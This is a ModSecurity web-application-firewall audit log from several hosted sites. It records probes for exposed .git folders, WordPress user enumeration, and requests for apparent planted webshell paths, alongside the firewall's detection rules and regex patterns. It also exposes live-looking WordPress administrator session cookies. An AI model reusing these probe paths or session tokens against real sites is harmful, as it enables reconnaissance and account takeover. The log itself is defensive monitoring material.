wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5

--45e09a05-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 6d27a0e876
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--45e09a05-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310943580705 624067 (- - -)
Stopwatch2: 1789310943580705 624067; combined=8390, p1=1159, p2=6875, p3=0, p4=0, p5=203, sr=1087, sw=153, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1712228971" "-"
Engine-Mode: "ENABLED"

--45e09a05-Z--

--2f24932b-A--
[13/Sep/2026:17:49:19.895431 +0300] aqa37-ut1GUrjaX0wO4zqAAAAMU 78.87.196.204 55002 127.0.0.1 7081
--2f24932b-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 78.87.196.204
X-WP-Nonce: 6d27a0e876
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Accept: application/json, */*;q=0.1
sec-ch-ua: "Chromium";v="152", "Not?A_Brand";v="24", "Google Chrome";v="152"
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://chania24.taxi/wp-admin/post.php?post=20679&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-GB,en;q=0.9,el-GR;q=0.8,el;q=0.7
Cookie: _ga=GA1.1.181966085.1712228971; wordpress_test_cookie=WP%20Cookie%20check; PHPSESSID=uvavbn46mi2tbhkd53hndac7cj; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wp_lang=en_US; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1776878041; _gcl_au=1.1.1307926906.1788109074; cookieconsent_status=dismiss; _ga_9DD6XGB9ZW=GS2.1.s1788802881$o7$g0$t1788802881$j60$l0$h0; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789316727%7CSamQAt7NLYEM5B4PT80Yt44Vwl5GXW9LRLMrAZo4zYN%7Cf2623c0c5e3be4ba3d134c4718e3e24da9b83b92d22e20489b822e552da9a54b; wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C61d52a60d4c8f0dc93c158654dfd535da166e517b1c4de7584b736abab0dd3c5

--2f24932b-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 6d27a0e876
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--2f24932b-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789310959377053 518510 (- - -)
Stopwatch2: 1789310959377053 518510; combined=9196, p1=402, p2=8426, p3=0, p4=0, p5=215, sr=207, sw=153, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "1712228971" "-"
Engine-Mode: "ENABLED"

--2f24932b-Z--

--7dc06749-A--
[13/Sep/2026:17:52:17.405909 +0300] aqa4ofut1GUrjaX0wO4z-AAAAMs 172.86.81.83 43380 127.0.0.1 7081
--7dc06749-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip

--7dc06749-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--7dc06749-E--

--7dc06749-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqa4ofut1GUrjaX0wO4z-AAAAMs"]
Stopwatch: 1789311137054486 351485 (- - -)
Stopwatch2: 1789311137054486 351485; combined=349960, p1=424, p2=349378, p3=77, p4=8, p5=73, sr=285, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7dc06749-Z--

--21ec3c35-A--
[13/Sep/2026:17:53:13.907305 +0300] aqa42Put1GUrjaX0wO40CgAAANE 34.181.175.74 60282 127.0.0.1 7081
--21ec3c35-B--
GET //?author=1 HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--21ec3c35-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/7.4.33
X-Redirect-By: WordPress
Location: https://dev.chania24.taxi/author/chania24/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

--21ec3c35-E--

--21ec3c35-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:1||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311192128135 1779225 (- - -)
Stopwatch2: 1789311192128135 1779225; combined=3315, p1=245, p2=2935, p3=95, p4=8, p5=32, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--21ec3c35-Z--

--c3ed6759-A--
[13/Sep/2026:17:53:15.887493 +0300] aqa42khjHs68UzErry1J0QAAAIY 34.181.175.74 60290 127.0.0.1 7081
--c3ed6759-B--
GET //?author=2 HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

--c3ed6759-F--
HTTP/1.1 301 Moved Permanently
X-Powered-By: PHP/7.4.33
X-Redirect-By: WordPress
Location: https://dev.chania24.taxi/?author=2
Content-Length: 0
Content-Type: text/html; charset=UTF-8

--c3ed6759-E--

--c3ed6759-H--
Message: Operator GE matched 1 at ARGS:author. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "59"] [id "77140876"] [msg "IM360 WAF: Track WordPress users enumeration||MVN:ARGS:author||MV:2||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311194097567 1789998 (- - -)
Stopwatch2: 1789311194097567 1789998; combined=3240, p1=240, p2=2855, p3=96, p4=8, p5=40, sr=98, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3ed6759-Z--

--c3ed6759-A--
[13/Sep/2026:17:53:22.582457 +0300] aqa43BsbgHO3aGL3jiTwNgAAABU 34.181.175.74 50270 127.0.0.1 7081
--c3ed6759-B--
GET //wp-json/wp/v2/users/ HTTP/1.1
Host: dev.chania24.taxi
X-Real-IP: 34.181.175.74
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36

--c3ed6759-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://dev.chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Total: 1
X-WP-TotalPages: 1
Allow: GET
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--c3ed6759-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Message: Operator EQ matched 0 at REQUEST_COOKIES. [file "/etc/httpd/conf/modsecurity.d/rules/custom/007_i360_4_wordpress.conf"] [line "426"] [id "77316783"] [msg "IM360 WAF: Monitoring WordPress 5.3 User Enumeration attempts||T:APACHE||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "wp_core"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/dev.chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789311196388759 6193787 (- - -)
Stopwatch2: 1789311196388759 6193787; combined=35982, p1=1552, p2=34377, p3=0, p4=0, p5=52, sr=195, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c3ed6759-Z--

--c054e357-A--
[13/Sep/2026:18:08:11.115482 +0300] aqa8W-ut1GUrjaX0wO40aQAAAMc 216.73.216.19 45352 127.0.0.1 7081
--c054e357-B--
GET /img/ufo19_shell_30207.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--c054e357-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c054e357-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqa8W-ut1GUrjaX0wO40aQAAAMc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_shell_30207.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_shell_30207.php"] [unique_id "aqa8W-ut1GUrjaX0wO40aQAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312091074142 41389 (- - -)
Stopwatch2: 1789312091074142 41389; combined=37527, p1=543, p2=36907, p3=0, p4=0, p5=76, sr=220, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--c054e357-Z--

--eb4b5b1c-A--
[13/Sep/2026:18:08:11.297290 +0300] aqa8W0hjHs68UzErry1J5QAAAIQ 216.73.216.19 45362 127.0.0.1 7081
--eb4b5b1c-B--
GET /img/ufo19b_6243.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--eb4b5b1c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--eb4b5b1c-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqa8W0hjHs68UzErry1J5QAAAIQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19b_6243.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19b_6243.php"] [unique_id "aqa8W0hjHs68UzErry1J5QAAAIQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312091259152 38194 (- - -)
Stopwatch2: 1789312091259152 38194; combined=34870, p1=270, p2=34520, p3=0, p4=0, p5=80, sr=118, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--eb4b5b1c-Z--

--f8733764-A--
[13/Sep/2026:18:08:12.775944 +0300] aqa8XPut1GUrjaX0wO40agAAAMY 216.73.216.19 45370 127.0.0.1 7081
--f8733764-B--
GET /img/ufo19_20982.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--f8733764-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: c587b7c9-3217-43bb-a5c1-a2f095c327a7
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--f8733764-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqa8XPut1GUrjaX0wO40agAAAMY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo19_20982.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo19_20982.php"] [unique_id "aqa8XPut1GUrjaX0wO40agAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312092552901 223104 (- - -)
Stopwatch2: 1789312092552901 223104; combined=33955, p1=315, p2=33577, p3=0, p4=0, p5=63, sr=122, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--f8733764-Z--

--df0b2a51-A--
[13/Sep/2026:18:08:14.122712 +0300] aqa8Xvut1GUrjaX0wO40awAAAMg 216.73.216.19 45380 127.0.0.1 7081
--df0b2a51-B--
GET /img/ufo_fm.php HTTP/1.1
Host: www.ihelp.ro
X-Real-IP: 216.73.216.19
X-Accel-Internal: /internal-nginx-static-location
accept: */*
user-agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)
accept-encoding: gzip, br, zstd, deflate

--df0b2a51-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/8.1.34
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--df0b2a51-H--
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Pattern match "(\\/(images|img(s)?|pictures|upload(s)?)\\/[^\\.]{0,108}\\.(pht|phtml|php\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "54"] [id "77140878"] [msg "IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqa8Xvut1GUrjaX0wO40awAAAMg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Pattern match "(\\\\\\\\/(images|img(s)?|pictures|upload(s)?)\\\\\\\\/[^\\\\\\\\.]{0,108}\\\\\\\\.(pht|phtml|php\\\\\\\\d?$))" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "23"] [id "77140735"] [msg "IM360 WAF: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||T:APACHE||MV:/img/ufo_fm.php||SC:/var/www/vhosts/ihelp.ro/httpdocs/img"] [tag "service_i360custom"] [tag "noshow"] [tag "service_rbl_infectors"] [hostname "www.ihelp.ro"] [uri "/img/ufo_fm.php"] [unique_id "aqa8Xvut1GUrjaX0wO40awAAAMg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789312094087633 35146 (- - -)
Stopwatch2: 1789312094087633 35146; combined=32360, p1=221, p2=32062, p3=0, p4=0, p5=77, sr=87, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--df0b2a51-Z--

--5685f173-A--
